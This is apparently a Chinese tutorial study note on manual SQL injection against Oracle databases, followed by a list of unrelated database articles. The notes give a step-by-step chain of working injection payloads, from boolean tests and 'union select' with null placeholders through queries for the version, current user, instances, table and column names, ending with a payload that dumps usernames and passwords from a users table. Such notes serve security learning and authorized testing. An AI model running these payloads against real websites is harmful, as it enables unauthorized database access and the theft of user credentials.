某教程学习笔记(一):10、oracle数据库注入

简介: 某教程学习笔记(一):10、oracle数据库注入


一、Oracle数据库


一般大型企业都会用到,物流、旅游、航空、银行等等。。。


1、支持多用户、大事务量的处理


2、数据安全性和完整性的有效控制


3、支持分布式数据处理


4、移植性强


二、手动注入


1、判断是否存在


and 1=1 返回正常


and 1=2 返回错误

0a2653c851af460fa595bd959398a8f1.png


2、判断是否是Oracle数据库


and exists(select * from dual)


and exists(select * from user_tables)


返回正常说明是oracle


3、判断数列


order by 2 返回正常,说明有两列


4、联合查询


union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错


union select 1,null from dual 报错


union select null,1 from dual 报错


union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了


5、获取数据库版本


(select banner from sys.v_$Version where rownum=1)

0a2653c851af460fa595bd959398a8f1.png


6、获取连接数据库的当前用户


(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

0eacb84100b54626af849e6b562bf92a.png


7、获取数据库


(select instance_name from v$instance) 获取当前数据库

2d65d23f6d4748949b924e4057485923.png


(select owner from all_tables where rownum=1)获取第一个数据库

2e9b90b2ca334476abebe75bafe6eeaa.png


(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库


8、获取表名


(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual

0a2653c851af460fa595bd959398a8f1.png


10、获取列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)

0eacb84100b54626af849e6b562bf92a.png


11、获取第二列名


(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)


12、获取字段内容


id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”

2d65d23f6d4748949b924e4057485923.png

union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息


禁止非法,后果自负


目录
相关文章
|
存储 SQL 关系型数据库
Mysql学习笔记(二):数据库命令行代码总结
这篇文章是关于MySQL数据库命令行操作的总结,包括登录、退出、查看时间与版本、数据库和数据表的基本操作(如创建、删除、查看)、数据的增删改查等。它还涉及了如何通过SQL语句进行条件查询、模糊查询、范围查询和限制查询,以及如何进行表结构的修改。这些内容对于初学者来说非常实用,是学习MySQL数据库管理的基础。
417 6
|
SQL Ubuntu 关系型数据库
Mysql学习笔记(一):数据库详细介绍以及Navicat简单使用
本文为MySQL学习笔记,介绍了数据库的基本概念,包括行、列、主键等,并解释了C/S和B/S架构以及SQL语言的分类。接着,指导如何在Windows和Ubuntu系统上安装MySQL,并提供了启动、停止和重启服务的命令。文章还涵盖了Navicat的使用,包括安装、登录和新建表格等步骤。最后,介绍了MySQL中的数据类型和字段约束,如主键、外键、非空和唯一等。
328 3
Mysql学习笔记(一):数据库详细介绍以及Navicat简单使用
|
SQL 关系型数据库 MySQL
php学习笔记-连接操作mysq数据库(基础)-day08
本文介绍了PHP中连接操作MySQL数据库的常用函数,包括连接服务器、设置字符集、关闭连接、选择数据库、结果集释放、获取影响行数以及遍历结果集等操作。通过书籍查询的实例演示了如何使用这些函数进行数据库操作,并提供了一个PHP操纵MySQL数据库的模板。
php学习笔记-连接操作mysq数据库(基础)-day08
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
292 1
|
开发工具 数据安全/隐私保护 索引
LDAP学习笔记之二:389-DS(RHDS) 增删改查基本操作
LDAP学习笔记之二:389-DS(RHDS) 增删改查基本操作
|
监控 Oracle 关系型数据库
"深度剖析:Oracle SGA大小调整策略——从组件解析到动态优化,打造高效数据库性能"
【8月更文挑战第9天】在Oracle数据库性能优化中,系统全局区(SGA)的大小调整至关重要。SGA作为一组共享内存区域,直接影响数据库处理能力和响应速度。本文通过问答形式介绍SGA调整策略:包括SGA的组成(如数据缓冲区、共享池等),如何根据负载与物理内存确定初始大小,手动调整SGA的方法(如使用`ALTER SYSTEM`命令),以及利用自动内存管理(AMM)特性实现智能调整。调整过程中需注意监控与测试,确保稳定性和性能。
1376 2
|
存储 缓存 Oracle
Oracle数据库可扩展性和性能
【7月更文挑战第6天】
557 7
|
存储 SQL 负载均衡
达梦数据库与Oracle数据库:功能、性能和适用场景对比
数据库在现代信息技术领域中扮演着至关重要的角色。在企业级应用中,选择正确的数据库管理系统对于数据存储、处理和查询效率至关重要。本文将对比两个备受关注的数据库管理系统——达梦数据库和Oracle数据库,从功能、性能和适用场景等方面进行深入探讨,以帮助读者在选择合适数据库时做出明智的决策。
4282 1
|
SQL Oracle 安全
Oracle优化01-引起数据库性能问题的因素
Oracle优化01-引起数据库性能问题的因素
402 0

热门文章

最新文章

推荐镜像

更多